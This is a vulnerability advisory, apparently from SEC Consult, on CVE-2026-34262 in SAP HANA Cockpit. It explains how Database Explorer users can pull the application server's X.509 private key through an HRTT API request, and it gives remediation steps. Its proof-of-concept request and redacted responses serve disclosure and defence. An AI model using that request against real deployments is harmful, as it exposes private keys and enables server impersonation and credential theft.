Management summary
SAP HANA Cockpit users with access to the Database Explorer could retrieve the private keys of X.509 certificates. This could be used to impersonate the application server on network level, allowing an attacker to obtain user credentials or other sensitive data. The software patch provided by SAP does not suffice to completely mitigate the security risk. The affected X.509 certificates and corresponding private keys need to be revoked and rotated manually.
Vendor description
"SAP is one of the world’s leading producers of software for the management of business processes."
Source: https://www.sap.com/about/what-is-sap.html
"SAP HANA cockpit is the main administration tool for SAP HANA. The SAP HANA cockpit provides tools for the administration and monitoring of SAP HANA databases (databases), and for development capabilities through the SAP HANA database explorer."
Business recommendation
The vendor provides a patch which should be installed immediately, see SAP Security Note 3730639.
This patch does not completely mitigate the risk that the private keys were obtained by an attacker in the past. Therefore, SEC Consult strongly recommends rotating the affected X.509 certificates and corresponding private keys - even if this is currently not mentioned in the SAP Security Note.
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)
SAP HANA Cockpit users with access to the Database Explorer can obtain the X.509 certificate issued to the application server and its corresponding private key. This information can be used to impersonate the application server on network level, allowing an attacker to obtain user credentials or other sensitive data. The issue arises if mutual TLS (mTLS) is configured for communication with the SAP HANA database.
Proof of concept
1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)
When accessing the Database Explorer via the SAP HANA Cockpit, the following HTTP request is sent to the HRTT service in the background:
GET /hrtt-service/sap/hana/cst/api/v2/databases HTTP/1.1
Host: hana-cockpit-web-app.example.org:31033
Cookie: JSESSIONID=[...]
[...]
The server response contains a list of all available databases.
{
"__count": 6,
"d": {
"results": [
{
"__metadata": {
"uri": "/sap/hana/cst/api/v2/databases('C123456789')",
"type": "database.Database"
},
"id": "C123456789",
"group_id": 0,
"catalog_name": "SID@SID",
"type": "COCKPIT_RESOURCE",
"disabled": false,
"has_login": false,
"cockpit_resource_id": 123456789,
"database_product_name": "HANA",
"options": {
"schema_filter": "[]"
},
"set_xs_applicationuser": true,
"hdl_support_sof": false
},
// [... more entries here...]
]
}
}However, the response can vary - most likely depending on other HTTP requests that have been sent. A more verbose response can be triggered by manually interacting with the Database Explorer and then repeating the request. (No database credentials are needed.) Then, the following information is returned:
{
"__count": 6,
"d": {
"results": [
{
"__metadata": {
"uri": "/sap/hana/cst/api/v2/databases('C123456789')",
"type": "database.Database"
},
"id": "C123456789",
"group_id": 0,
"catalog_name": "SID@SID",
"type": "COCKPIT_RESOURCE",
"disabled": false,
"has_login": false,
"cockpit_resource_id": 123456789,
"database_product_name": "HANA",
"cockpit_resource_name": "SID@SID",
"options": {
"hosts": [
{
"host": "isidhdb01.example.org",
"port": "31013"
}
],
"databaseName": "SID",
"encrypt": true,
"ca": [
"-----BEGIN CERTIFICATE-----\nMII[... certificate removed ...]zg==\n-----END CERTIFICATE-----\n",
"-----BEGIN CERTIFICATE-----\nMII[... certificate removed ...]c4=\n-----END CERTIFICATE-----\n",
],
"sslValidateCertificate": true,
"key": [
"-----BEGIN PRIVATE KEY-----MII[... private key removed ...]8tQ==-----END PRIVATE KEY-----"
],
"cert": [
"-----BEGIN CERTIFICATE-----MII[... certificate removed ...]QHvC-----END CERTIFICATE----------BEGIN CERTIFICATE-----MII[...]yotP-----END CERTIFICATE-----"
],
"schema_filter": "[]"
},
"set_xs_applicationuser": true,
"hdl_support_sof": false
}
// [... more entries here...]
]
}
}The HTTP response does not only leak additional metadata, but most importantly an X.509 certificate chain and the private key of the leaf certificate. This certificate is issued to the application server hosting the SAP HANA Cockpit, not to the database server.
The vulnerability can be reproduced with the Cockpit Administrator and the Cockpit User role, so it does not require administrative privileges.
Vulnerable / tested versions
The following versions are affected:
- SAP HANA Cockpit versions prior to 2.18.2 (SAP HANA Runtime Tools prior to 2.16.254002)